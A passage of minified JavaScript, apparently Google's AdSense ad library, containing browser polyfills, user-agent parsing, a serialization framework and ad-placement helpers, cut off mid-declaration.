ia(function(){if(l){for(;l.head!=h.h;)l=l.L;for(;l.next!=l.head;)return l=l.next,{done:!1,value:k(l)};l=null}return{done:!0,value:void 0}})}function d(h,k){var l=k&&typeof k;"object"==l||"function"==l?f.has(k)?l=f.get(k):(l=""+ ++g,f.set(k,l)):l="p_"+k;var m=h.i[l];if(m&&la(h.i,l))for(h=0;h<m.length;h++){var q=m[h];if(k!==k&&q.key!==q.key||k===q.key)return{id:l,list:m,index:h,B:q}}return{id:l,list:m, index:-1,B:void 0}}function e(h){this.i={};this.h=b();this.size=0;if(h){h=u(h);for(var k;!(k=h.next()).done;)k=k.value,this.set(k[0],k[1])}}if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var h=Object.seal({x:4}),k=new a(u([[h,"s"]]));if("s"!=k.get(h)||1!=k.size||k.get({x:4})||k.set({x:4},"t")!=k||2!=k.size)return!1;var l=k.entries(),m=l.next();if(m.done||m.value[0]!=h||"s"!=m.value[1])return!1;m=l.next();return m.done||4!=m.value[0].x|| "t"!=m.value[1]||!l.next().done?!1:!0}catch(q){return!1}}())return a;var f=new p.WeakMap;e.prototype.set=function(h,k){h=0===h?0:h;var l=d(this,h);l.list||(l.list=this.i[l.id]=[]);l.B?l.B.value=k:(l.B={next:this.h,L:this.h.L,head:this.h,key:h,value:k},l.list.push(l.B),this.h.L.next=l.B,this.h.L=l.B,this.size++);return this};e.prototype.delete=function(h){h=d(this,h);return h.B&&h.list?(h.list.splice(h.index,1),h.list.length||delete this.i[h.id],h.B.L.next=h.B.next,h.B.next.L=h.B.L,h.B.head=null,this.size--, !0):!1};e.prototype.clear=function(){this.i={};this.h=this.h.L=b();this.size=0};e.prototype.has=function(h){return!!d(this,h).B};e.prototype.get=function(h){return(h=d(this,h).B)&&h.value};e.prototype.entries=function(){return c(this,function(h){return[h.key,h.value]})};e.prototype.keys=function(){return c(this,function(h){return h.key})};e.prototype.values=function(){return c(this,function(h){return h.value})};e.prototype.forEach=function(h,k){for(var l=this.entries(),m;!(m=l.next()).done;)m=m.value, h.call(k,m[1],m[0],this)};e.prototype[r(p.Symbol,"iterator")]=e.prototype.entries;var g=0;return e},"es6");function ua(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:function(){if(!d&&c<a.length){var f=c++;return{value:b(f,a[f]),done:!1}}d=!0;return{done:!0,value:void 0}}};e[r(p.Symbol,"iterator")]=function(){return e};return e} ha("String.prototype.startsWith",function(a){return a?a:function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.startsWith must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype.startsWith must not be a regular expression");var d=this.length,e=b.length;c=Math.max(0,Math.min(c|0,this.length));for(var f=0;f<e&&c<d;)if(this[c++]!=b[f++])return!1;return f>=e}},"es6");ha("globalThis",function(a){return a||da},"es_2020"); ha("Set",function(a){function b(c){this.h=new p.Map;if(c){c=u(c);for(var d;!(d=c.next()).done;)this.add(d.value)}this.size=this.h.size}if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var c=Object.seal({x:4}),d=new a(u([c]));if(!d.has(c)||1!=d.size||d.add(c)!=d||1!=d.size||d.add({x:4})!=d||2!=d.size)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=c||f.value[1]!=c)return!1;f=e.next();return f.done||f.value[0]==c||4!=f.value[0].x|| f.value[1]!=f.value[0]?!1:e.next().done}catch(g){return!1}}())return a;b.prototype.add=function(c){c=0===c?0:c;this.h.set(c,c);this.size=this.h.size;return this};b.prototype.delete=function(c){c=this.h.delete(c);this.size=this.h.size;return c};b.prototype.clear=function(){this.h.clear();this.size=0};b.prototype.has=function(c){return this.h.has(c)};b.prototype.entries=function(){return this.h.entries()};b.prototype.values=function(){return r(this.h,"values").call(this.h)};b.prototype.keys=r(b.prototype, "values");b.prototype[r(p.Symbol,"iterator")]=r(b.prototype,"values");b.prototype.forEach=function(c,d){var e=this;this.h.forEach(function(f){return c.call(d,f,f,e)})};return b},"es6");ha("Array.prototype.keys",function(a){return a?a:function(){return ua(this,function(b){return b})}},"es6");ha("Array.prototype.values",function(a){return a?a:function(){return ua(this,function(b,c){return c})}},"es8");ha("Number.isNaN",function(a){return a?a:function(b){return"number"===typeof b&&isNaN(b)}},"es6"); ha("Promise.prototype.finally",function(a){return a?a:function(b){return this.then(function(c){return p.Promise.resolve(b()).then(function(){return c})},function(c){return p.Promise.resolve(b()).then(function(){throw c;})})}},"es9");var w=this||self;function va(a){a=a.split(".");for(var b=w,c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b}function wa(a){var b=typeof a;return"object"!=b?b:a?Array.isArray(a)?"array":b:"null"} function xa(a){var b=wa(a);return"array"==b||"object"==b&&"number"==typeof a.length}function ya(a){var b=typeof a;return"object"==b&&null!=a||"function"==b}function za(a){return Object.prototype.hasOwnProperty.call(a,Aa)&&a[Aa]||(a[Aa]=++Ba)}var Aa="closure_uid_"+(1E9*Math.random()>>>0),Ba=0;function Ca(a,b,c){return a.call.apply(a.bind,arguments)} function Da(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}}function Ea(a,b,c){Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?Ea=Ca:Ea=Da;return Ea.apply(null,arguments)} function Fa(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}}function Ga(a){var b=["__uspapi"],c=w;b[0]in c||"undefined"==typeof c.execScript||c.execScript("var "+b[0]);for(var d;b.length&&(d=b.shift());)b.length||void 0===a?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=a}function Ha(a){return a};var Ia=(new Date).getTime();function Ja(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]} function Ka(a,b){var c=0;a=Ja(String(a)).split(".");b=Ja(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",g=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];g=/(\d*)(\D*)(.*)/.exec(g)||["","","",""];if(0==f[0].length&&0==g[0].length)break;c=La(0==f[1].length?0:parseInt(f[1],10),0==g[1].length?0:parseInt(g[1],10))||La(0==f[2].length,0==g[2].length)||La(f[2],g[2]);f=f[3];g=g[3]}while(0==c)}return c}function La(a,b){return a<b?-1:a>b?1:0};function Ma(){var a=w.navigator;return a&&(a=a.userAgent)?a:""}function x(a){return-1!=Ma().indexOf(a)};function Na(){return x("Trident")||x("MSIE")}function Oa(){return(x("Chrome")||x("CriOS"))&&!x("Edge")||x("Silk")}function Pa(a){var b={};a.forEach(function(c){b[c[0]]=c[1]});return function(c){return b[r(c,"find").call(c,function(d){return d in b})]||""}} function Qa(){var a=Ma();if(Na()){var b=/rv: *([\d\.]*)/.exec(a);if(b&&b[1])a=b[1];else{b="";var c=/MSIE +([\d\.]+)/.exec(a);if(c&&c[1])if(a=/Trident\/(\d.\d)/.exec(a),"7.0"==c[1])if(a&&a[1])switch(a[1]){case "4.0":b="8.0";break;case "5.0":b="9.0";break;case "6.0":b="10.0";break;case "7.0":b="11.0"}else b="7.0";else b=c[1];a=b}return a}c=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s*(?:\\((.*?)\\))?","g");b=[];for(var d;d=c.exec(a);)b.push([d[1],d[2],d[3]||void 0]);a=Pa(b);return x("Opera")?a(["Version","Opera"]): x("Edge")?a(["Edge"]):x("Edg/")?a(["Edg"]):x("Silk")?a(["Silk"]):Oa()?a(["Chrome","CriOS","HeadlessChrome"]):(a=b[2])&&a[1]||""};function Ra(a,b){for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)}function Sa(a,b){for(var c=a.length,d=[],e=0,f="string"===typeof a?a.split(""):a,g=0;g<c;g++)if(g in f){var h=f[g];b.call(void 0,h,g,a)&&(d[e++]=h)}return d}function Ta(a,b){for(var c=a.length,d=Array(c),e="string"===typeof a?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d} function Ua(a,b){for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a))return!0;return!1}function Va(a,b){a:{for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:"string"===typeof a?a.charAt(b):a[b]} function Wa(a,b){a:{for(var c="string"===typeof a?a.split(""):a,d=a.length-1;0<=d;d--)if(d in c&&b.call(void 0,c[d],d,a)){b=d;break a}b=-1}return 0>b?null:"string"===typeof a?a.charAt(b):a[b]}function Xa(a,b){a:if("string"===typeof a)a="string"!==typeof b||1!=b.length?-1:a.indexOf(b,0);else{for(var c=0;c<a.length;c++)if(c in a&&a[c]===b){a=c;break a}a=-1}return 0<=a}function Ya(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};function Za(a){Za[" "](a);return a}Za[" "]=function(){};var $a=Na();!x("Android")||Oa();Oa();!x("Safari")||Oa();var ab={},bb=null;var cb="undefined"!==typeof Uint8Array;var db="function"===typeof p.Symbol&&"symbol"===typeof(0,p.Symbol)()?(0,p.Symbol)(void 0):void 0;function eb(a,b){Object.isFrozen(a)||(db?a[db]|=b:void 0!==a.ma?a.ma|=b:Object.defineProperties(a,{ma:{value:b,configurable:!0,writable:!0,enumerable:!1}}))}function fb(a){var b;db?b=a[db]:b=a.ma;return null==b?0:b}function gb(a){eb(a,1);return a}function hb(a){return Array.isArray(a)?!!(fb(a)&2):!1}function ib(a){if(!Array.isArray(a))throw Error("cannot mark non-array as immutable");eb(a,2)};function jb(a){return null!==a&&"object"===typeof a&&!Array.isArray(a)&&a.constructor===Object}var kb,lb=Object.freeze(gb([]));function mb(a){if(hb(a.v))throw Error("Cannot mutate an immutable Message");}var nb="undefined"!=typeof p.Symbol&&"undefined"!=typeof p.Symbol.hasInstance;function ob(a){return{value:a,configurable:!1,writable:!1,enumerable:!1}};function pb(a){switch(typeof a){case "number":return isFinite(a)?a:String(a);case "object":if(a&&!Array.isArray(a)&&cb&&null!=a&&a instanceof Uint8Array){var b;void 0===b&&(b=0);if(!bb){bb={};for(var c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""),d=["+/=","+/","-_=","-_.","-_"],e=0;5>e;e++){var f=c.concat(d[e].split(""));ab[e]=f;for(var g=0;g<f.length;g++){var h=f[g];void 0===bb[h]&&(bb[h]=g)}}}b=ab[b];c=Array(Math.floor(a.length/3));d=b[64]||"";for(e=f=0;f<a.length- 2;f+=3){var k=a[f],l=a[f+1];h=a[f+2];g=b[k>>2];k=b[(k&3)<<4|l>>4];l=b[(l&15)<<2|h>>6];h=b[h&63];c[e++]=g+k+l+h}g=0;h=d;switch(a.length-f){case 2:g=a[f+1],h=b[(g&15)<<2]||d;case 1:a=a[f],c[e]=b[a>>2]+b[(a&3)<<4|g>>4]+h+d}return c.join("")}}return a};function qb(a){var b=sb;b=void 0===b?tb:b;return ub(a,b)}function vb(a,b){if(null!=a){if(Array.isArray(a))a=ub(a,b);else if(jb(a)){var c={},d;for(d in a)Object.prototype.hasOwnProperty.call(a,d)&&(c[d]=vb(a[d],b));a=c}else a=b(a);return a}}function ub(a,b){for(var c=a.slice(),d=0;d<c.length;d++)c[d]=vb(c[d],b);Array.isArray(a)&&fb(a)&1&&gb(c);return c}function sb(a){if(a&&"object"==typeof a&&a.toJSON)return a.toJSON();a=pb(a);return Array.isArray(a)?qb(a):a} function tb(a){return cb&&null!=a&&a instanceof Uint8Array?new Uint8Array(a):a};function A(a,b,c){return-1===b?null:b>=a.l?a.i?a.i[b]:void 0:(void 0===c?0:c)&&a.i&&(c=a.i[b],null!=c)?c:a.v[b+a.j]}function B(a,b,c,d,e){d=void 0===d?!1:d;(void 0===e?0:e)||mb(a);b<a.l&&!d?a.v[b+a.j]=c:(a.i||(a.i=a.v[a.l+a.j]={}))[b]=c;return a}function wb(a,b,c,d){c=void 0===c?!0:c;d=void 0===d?!1:d;var e=A(a,b,d);null==e&&(e=lb);if(hb(a.v))c&&(ib(e),Object.freeze(e));else if(e===lb||hb(e))e=gb(e.slice()),B(a,b,e,d);return e}function xb(a,b){a=A(a,b);return null==a?a:!!a} function C(a,b,c){a=A(a,b);return null==a?c:a}function D(a,b,c){a=xb(a,b);return null==a?void 0===c?!1:c:a}function yb(a,b){a=A(a,b);a=null==a?a:+a;return null==a?0:a}function zb(a,b,c){var d=void 0===d?!1:d;return B(a,b,null==c?gb([]):Array.isArray(c)?gb(c):c,d)}function Ab(a,b,c){mb(a);0!==c?B(a,b,c):B(a,b,void 0,!1,!1);return a}function Bb(a,b,c,d){mb(a);(c=Cb(a,c))&&c!==b&&null!=d&&(a.h&&c in a.h&&(a.h[c]=void 0),B(a,c));return B(a,b,d)}function Db(a,b,c){return Cb(a,b)===c?c:-1} function Cb(a,b){for(var c=0,d=0;d<b.length;d++){var e=b[d];null!=A(a,e)&&(0!==c&&B(a,c,void 0,!1,!0),c=e)}return c}function G(a,b,c){if(-1===c)return null;a.h||(a.h={});var d=a.h[c];if(d)return d;var e=A(a,c,!1);if(null==e)return d;b=new b(e);hb(a.v)&&ib(b.v);return a.h[c]=b}function H(a,b,c){a.h||(a.h={});var d=hb(a.v),e=a.h[c];if(!e){var f=wb(a,c,!0,!1);e=[];d=d||hb(f);for(var g=0;g<f.length;g++)e[g]=new b(f[g]),d&&ib(e[g].v);d&&(ib(e),Object.freeze(e));a.h[c]=e}return e} function Eb(a,b,c){var d=void 0===d?!1:d;mb(a);a.h||(a.h={});var e=c?c.v:c;a.h[b]=c;return B(a,b,e,d)}function Fb(a,b,c,d){mb(a);a.h||(a.h={});var e=d?d.v:d;a.h[b]=d;return Bb(a,b,c,e)}function Gb(a,b,c){var d=void 0===d?!1:d;mb(a);if(c){var e=gb([]);for(var f=0;f<c.length;f++)e[f]=c[f].v;a.h||(a.h={});a.h[b]=c}else a.h&&(a.h[b]=void 0),e=lb;return B(a,b,e,d)}function I(a,b){return C(a,b,"")}function Hb(a,b,c){return C(a,Db(a,c,b),0)}function Ib(a,b,c,d){return G(a,b,Db(a,d,c))};function Jb(a,b,c){a||(a=Kb);Kb=null;var d=this.constructor.messageId;a||(a=d?[d]:[]);this.j=(d?0:-1)-(this.constructor.h||0);this.h=void 0;this.v=a;a:{d=this.v.length;a=d-1;if(d&&(d=this.v[a],jb(d))){this.l=a-this.j;this.i=d;break a}void 0!==b&&-1<b?(this.l=Math.max(b,a+1-this.j),this.i=void 0):this.l=Number.MAX_VALUE}if(c)for(b=0;b<c.length;b++)if(a=c[b],a<this.l)a+=this.j,(d=this.v[a])?Array.isArray(d)&&gb(d):this.v[a]=lb;else{d=this.i||(this.i=this.v[this.l+this.j]={});var e=d[a];e?Array.isArray(e)&& gb(e):d[a]=lb}}Jb.prototype.toJSON=function(){var a=this.v;return kb?a:qb(a)};function Lb(a){kb=!0;try{return JSON.stringify(a.toJSON(),Mb)}finally{kb=!1}}function Nb(a,b){if(null==b||""==b)return new a;b=JSON.parse(b);if(!Array.isArray(b))throw Error("Expected to deserialize an Array but got "+wa(b)+": "+b);Kb=b;a=new a(b);Kb=null;return a}function Mb(a,b){return pb(b)}var Kb;function Ob(){Jb.apply(this,arguments)}v(Ob,Jb);if(nb){var Pb={};Object.defineProperties(Ob,(Pb[p.Symbol.hasInstance]=ob(function(){throw Error("Cannot perform instanceof checks for MutableMessage");}),Pb))};function J(){Ob.apply(this,arguments)}v(J,Ob);if(nb){var Qb={};Object.defineProperties(J,(Qb[p.Symbol.hasInstance]=ob(Object[p.Symbol.hasInstance]),Qb))};function Rb(a){J.call(this,a,-1,Sb)}v(Rb,J);function Tb(a){J.call(this,a)}v(Tb,J);var Sb=[2,3];function Ub(a,b){this.i=a===Vb&&b||"";this.h=Wb}var Wb={},Vb={};function Xb(a,b){var c={},d;for(d in a)b.call(void 0,a[d],d,a)&&(c[d]=a[d]);return c}function Yb(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return!0;return!1}function Zb(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b}function $b(a){var b={},c;for(c in a)b[c]=a[c];return b};var ac;function bc(){if(void 0===ac){var a=null,b=w.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:Ha,createScript:Ha,createScriptURL:Ha})}catch(c){w.console&&w.console.error(c.message)}ac=a}else ac=a}return ac};function cc(a,b){this.h=b===dc?a:""}function ec(a,b){a=fc.exec(gc(a).toString());var c=a[3]||"";return hc(a[1]+ic("?",a[2]||"",b)+ic("#",c))}cc.prototype.toString=function(){return this.h+""};function gc(a){return a instanceof cc&&a.constructor===cc?a.h:"type_error:TrustedResourceUrl"}var fc=/^([^?#]*)(\?[^#]*)?(#[\s\S]*)?/,dc={};function hc(a){var b=bc();a=b?b.createScriptURL(a):a;return new cc(a,dc)} function ic(a,b,c){if(null==c)return b;if("string"===typeof c)return c?a+encodeURIComponent(c):"";for(var d in c)if(Object.prototype.hasOwnProperty.call(c,d)){var e=c[d];e=Array.isArray(e)?e:[e];for(var f=0;f<e.length;f++){var g=e[f];null!=g&&(b||(b=a),b+=(b.length>a.length?"&":"")+encodeURIComponent(d)+"="+encodeURIComponent(String(g)))}}return b};function jc(a,b){this.h=b===kc?a:""}jc.prototype.toString=function(){return this.h.toString()};var kc={};/* SPDX-License-Identifier: Apache-2.0 */ var lc={};function mc(){}function nc(a){this.h=a}v(nc,mc);nc.prototype.toString=function(){return this.h.toString()};function oc(a){var b,c=null==(b=bc())?void 0:b.createScriptURL(a);return new nc(null!=c?c:a,lc)}function pc(a){if(a instanceof nc)return a.h;throw Error("");};function qc(a){return a instanceof mc?pc(a):gc(a)}function rc(a){return a instanceof jc&&a.constructor===jc?a.h:"type_error:SafeUrl"}function sc(a){return a instanceof mc?pc(a).toString():gc(a).toString()};var tc="alternate author bookmark canonical cite help icon license next prefetch dns-prefetch prerender preconnect preload prev search subresource".split(" ");function uc(a){return function(){return!a.apply(this,arguments)}}function vc(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}}function wc(a){var b=a;return function(){if(b){var c=b;b=null;c()}}};function xc(a,b,c){a.addEventListener&&a.addEventListener(b,c,!1)}function yc(a,b){a.removeEventListener&&a.removeEventListener("message",b,!1)};function zc(a){return String(a).replace(/\-([a-z])/g,function(b,c){return c.toUpperCase()})};function Ac(a,b,c){function d(h){h&&b.appendChild("string"===typeof h?a.createTextNode(h):h)}for(var e=1;e<c.length;e++){var f=c[e];if(!xa(f)||ya(f)&&0<f.nodeType)d(f);else{a:{if(f&&"number"==typeof f.length){if(ya(f)){var g="function"==typeof f.item||"string"==typeof f.item;break a}if("function"===typeof f){g="function"==typeof f.item;break a}}g=!1}Ra(g?Ya(f):f,d)}}}function Bc(a){this.h=a||w.document||document}n=Bc.prototype;n.getElementsByTagName=function(a,b){return(b||this.h).getElementsByTagName(String(a))}; n.createElement=function(a){var b=this.h;a=String(a);"application/xhtml+xml"===b.contentType&&(a=a.toLowerCase());return b.createElement(a)};n.createTextNode=function(a){return this.h.createTextNode(String(a))};n.append=function(a,b){Ac(9==a.nodeType?a:a.ownerDocument||a.document,a,arguments)}; n.contains=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};function Cc(){return!Dc()&&(x("iPod")||x("iPhone")||x("Android")||x("IEMobile"))}function Dc(){return x("iPad")||x("Android")&&!x("Mobile")||x("Silk")};var Ec=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\/?#]*)@)?([^\\\\/?#]*?)(?::([0-9]+))?(?=[\\\\/?#]|$))?([^?#]+)?(?:\\?([^#]*))?(?:#([\\s\\S]*))?$"),Fc=/#|$/;function Gc(a){var b=a.search(Fc),c;a:{for(c=0;0<=(c=a.indexOf("client",c))&&c<b;){var d=a.charCodeAt(c-1);if(38==d||63==d)if(d=a.charCodeAt(c+6),!d||61==d||38==d||35==d)break a;c+=7}c=-1}if(0>c)return null;d=a.indexOf("&",c);if(0>d||d>b)d=b;c+=7;return decodeURIComponent(a.substr(c,d-c).replace(/\+/g," "))};function Hc(a){try{var b;if(b=!!a&&null!=a.location.href)a:{try{Za(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}}function Ic(a){return Hc(a.top)?a.top:null} function Lc(a,b){var c=Mc("SCRIPT",a);c.src=qc(b);var d,e;(d=(b=null==(e=(d=(c.ownerDocument&&c.ownerDocument.defaultView||window).document).querySelector)?void 0:e.call(d,"script[nonce]"))?b.nonce||b.getAttribute("nonce")||"":"")&&c.setAttribute("nonce",d);return(a=a.getElementsByTagName("script")[0])&&a.parentNode?(a.parentNode.insertBefore(c,a),c):null}function Nc(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle} function Oc(a,b){if(!Pc()&&!Qc()){var c=Math.random();if(c<b)return c=Rc(),a[Math.floor(c*a.length)]}return null}function Rc(){if(!p.globalThis.crypto)return Math.random();try{var a=new Uint32Array(1);p.globalThis.crypto.getRandomValues(a);return a[0]/65536/65536}catch(b){return Math.random()}}function Sc(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b(a[c],c,a)} function Tc(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d<b;d++)c^=(c<<5)+(c>>2)+a.charCodeAt(d)&4294967295;return 0<c?c:4294967296+c}var Qc=vc(function(){return Ua(["Google Web Preview","Mediapartners-Google","Google-Read-Aloud","Google-Adwords"],Uc)||1E-4>Math.random()});function Vc(a,b){var c=-1;try{a&&(c=parseInt(a.getItem(b),10))}catch(d){return null}return 0<=c&&1E3>c?c:null} function Wc(a,b){var c=Qc()?null:Math.floor(1E3*Rc());var d;if(d=null!=c&&a)a:{var e=String(c);try{if(a){a.setItem(b,e);d=e;break a}}catch(f){}d=null}return d?c:null}var Pc=vc(function(){return Uc("MSIE")});function Uc(a){return-1!=Ma().indexOf(a)}var Xc=/^([0-9.]+)px$/,Yc=/^(-?[0-9.]{1,30})$/;function Zc(a){var b=void 0===b?null:b;if(!Yc.test(a))return b;a=Number(a);return isNaN(a)?b:a}function K(a){return(a=Xc.exec(a))?+a[1]:null} function $c(a,b){for(var c=0;50>c;++c){try{var d=!(!a.frames||!a.frames[b])}catch(g){d=!1}if(d)return a;a:{try{var e=a.parent;if(e&&e!=a){var f=e;break a}}catch(g){}f=null}if(!(a=f))break}return null}var ad=vc(function(){return Cc()?2:Dc()?1:0});function bd(a){Sc({display:"none"},function(b,c){a.style.setProperty(c,b,"important")})}var cd=[];function dd(){var a=cd;cd=[];a=u(a);for(var b=a.next();!b.done;b=a.next()){b=b.value;try{b()}catch(c){}}} function ed(a,b){0!=a.length&&b.head&&a.forEach(function(c){if(c&&c&&b.head){var d=Mc("META");b.head.appendChild(d);d.httpEquiv="origin-trial";d.content=c}})}function fd(a){if("number"!==typeof a.goog_pvsid)try{Object.defineProperty(a,"goog_pvsid",{value:Math.floor(Math.random()*Math.pow(2,52)),configurable:!1})}catch(b){}return Number(a.goog_pvsid)||-1} function gd(a){var b=hd;"complete"===b.readyState||"interactive"===b.readyState?(cd.push(a),1==cd.length&&(p.Promise?p.Promise.resolve().then(dd):window.setImmediate?setImmediate(dd):setTimeout(dd,0))):b.addEventListener("DOMContentLoaded",a)}function Mc(a,b){b=void 0===b?document:b;return b.createElement(String(a).toLowerCase())};var id=null;var hd=document,L=window;var jd=null;function kd(a,b){b=void 0===b?[]:b;var c=!1;w.google_logging_queue||(c=!0,w.google_logging_queue=[]);w.google_logging_queue.push([a,b]);if(a=c){if(null==jd){jd=!1;try{var d=Ic(w);d&&-1!==d.location.hash.indexOf("google_logging")&&(jd=!0);w.localStorage.getItem("google_logging")&&(jd=!0)}catch(e){}}a=jd}a&&(d=w.document,a=new Ub(Vb,"https://pagead2.googlesyndication.com/pagead/js/logging_library.js"),a=hc(a instanceof Ub&&a.constructor===Ub&&a.h===Wb?a.i:"type_error:Const"),Lc(d,a))};function ld(a){a=void 0===a?w:a;var b=a.context||a.AMP_CONTEXT_DATA;if(!b)try{b=a.parent.context||a.parent.AMP_CONTEXT_DATA}catch(c){}try{if(b&&b.pageViewId&&b.canonicalUrl)return b}catch(c){}return null}function md(a){return(a=a||ld())?Hc(a.master)?a.master:null:null};function nd(a){var b=ta.apply(1,arguments);if(0===b.length)return oc(a[0]);for(var c=[a[0]],d=0;d<b.length;d++)c.push(encodeURIComponent(b[d])),c.push(a[d+1]);return oc(c.join(""))};function od(a){var b=void 0===b?1:b;a=md(ld(a))||a;a.google_unique_id=(a.google_unique_id||0)+b;return a.google_unique_id}function pd(a){a=a.google_unique_id;return"number"===typeof a?a:0}function qd(){var a=void 0===a?L:a;if(!a)return!1;try{return!(!a.navigator.standalone&&!a.top.navigator.standalone)}catch(b){return!1}}function rd(a){if(!a)return"";a=a.toLowerCase();"ca-"!=a.substring(0,3)&&(a="ca-"+a);return a};function sd(){this.i=new td(this);this.h=0}sd.prototype.resolve=function(a){ud(this);this.h=1;this.l=a;vd(this.i)};sd.prototype.reject=function(a){ud(this);this.h=2;this.j=a;vd(this.i)};function ud(a){if(0!=a.h)throw Error("Already resolved/rejected.");}function td(a){this.h=a}td.prototype.then=function(a,b){if(this.i)throw Error("Then functions already set.");this.i=a;this.j=b;vd(this)}; function vd(a){switch(a.h.h){case 0:break;case 1:a.i&&a.i(a.h.l);break;case 2:a.j&&a.j(a.h.j);break;default:throw Error("Unhandled deferred state.");}};function wd(a){this.h=a.slice(0)}n=wd.prototype;n.forEach=function(a){var b=this;this.h.forEach(function(c,d){return void a(c,d,b)})};n.filter=function(a){return new wd(Sa(this.h,a))};n.apply=function(a){return new wd(a(this.h.slice(0)))};n.sort=function(a){return new wd(this.h.slice(0).sort(a))};n.get=function(a){return this.h[a]};n.add=function(a){var b=this.h.slice(0);b.push(a);return new wd(b)};function xd(a,b){for(var c=[],d=a.length,e=0;e<d;e++)c.push(a[e]);c.forEach(b,void 0)};function yd(){this.h={};this.i={}}yd.prototype.set=function(a,b){var c=zd(a);this.h[c]=b;this.i[c]=a};yd.prototype.get=function(a,b){a=zd(a);return void 0!==this.h[a]?this.h[a]:b};yd.prototype.clear=function(){this.h={};this.i={}};function zd(a){return a instanceof Object?String(za(a)):a+""};function Ad(a,b){this.h=a;this.i=b}function Bd(a){return null!=a.h?a.h.value:null}function Cd(a,b){null!=a.h&&b(a.h.value);return a}Ad.prototype.map=function(a){return null!=this.h?(a=a(this.h.value),a instanceof Ad?a:Dd(a)):this};function Ed(a,b){null!=a.h||b(a.i);return a}function Dd(a){return new Ad({value:a},null)}function Fd(a){return new Ad(null,a)}function Gd(a){try{return Dd(a())}catch(b){return Fd(b)}};function Hd(a){this.h=new yd;if(a)for(var b=0;b<a.length;++b)this.add(a[b])}Hd.prototype.add=function(a){this.h.set(a,!0)};Hd.prototype.contains=function(a){return void 0!==this.h.h[zd(a)]};function Id(){this.h=new yd}Id.prototype.set=function(a,b){var c=this.h.get(a);c||(c=new Hd,this.h.set(a,c));c.add(b)};function Jd(a){J.call(this,a,-1,Kd)}v(Jd,J);Jd.prototype.getId=function(){return A(this,3)};var Kd=[4];function Ld(a){var b=void 0===a.Ga?void 0:a.Ga,c=void 0===a.gb?void 0:a.gb,d=void 0===a.Ra?void 0:a.Ra;this.h=void 0===a.bb?void 0:a.bb;this.l=new wd(b||[]);this.j=d;this.i=c};function Md(a){var b=[],c=a.l;c&&c.h.length&&b.push({X:"a",ca:Nd(c)});null!=a.h&&b.push({X:"as",ca:a.h});null!=a.i&&b.push({X:"i",ca:String(a.i)});null!=a.j&&b.push({X:"rp",ca:String(a.j)});b.sort(function(d,e){return d.X.localeCompare(e.X)});b.unshift({X:"t",ca:"aa"});return b}function Nd(a){a=a.h.slice(0).map(Od);a=JSON.stringify(a);return Tc(a)}function Od(a){var b={};null!=A(a,7)&&(b.q=A(a,7));null!=A(a,2)&&(b.o=A(a,2));null!=A(a,5)&&(b.p=A(a,5));return b};function Pd(a){J.call(this,a)}v(Pd,J);Pd.prototype.setLocation=function(a){return B(this,1,a)};function Qd(a,b){this.Ja=a;this.Qa=b}function Rd(a){var b=[].slice.call(arguments).filter(uc(function(e){return null===e}));if(!b.length)return null;var c=[],d={};b.forEach(function(e){c=c.concat(e.Ja||[]);d=r(Object,"assign").call(Object,d,e.Qa)});return new Qd(c,d)} function Sd(a){switch(a){case 1:return new Qd(null,{google_ad_semantic_area:"mc"});case 2:return new Qd(null,{google_ad_semantic_area:"h"});case 3:return new Qd(null,{google_ad_semantic_area:"f"});case 4:return new Qd(null,{google_ad_semantic_area:"s"});default:return null}} function Td(a){if(null==a)a=null;else{var b=Md(a);a=[];b=u(b);for(var c=b.next();!c.done;c=b.next()){c=c.value;var d=String(c.ca);a.push(c.X+"."+(20>=d.length?d:d.slice(0,19)+"_"))}a=new Qd(null,{google_placement_id:a.join("~")})}return a};var Ud={},Vd=new Qd(["google-auto-placed"],(Ud.google_reactive_ad_format=40,Ud.google_tag_origin="qs",Ud));function Wd(a){J.call(this,a)}v(Wd,J);function 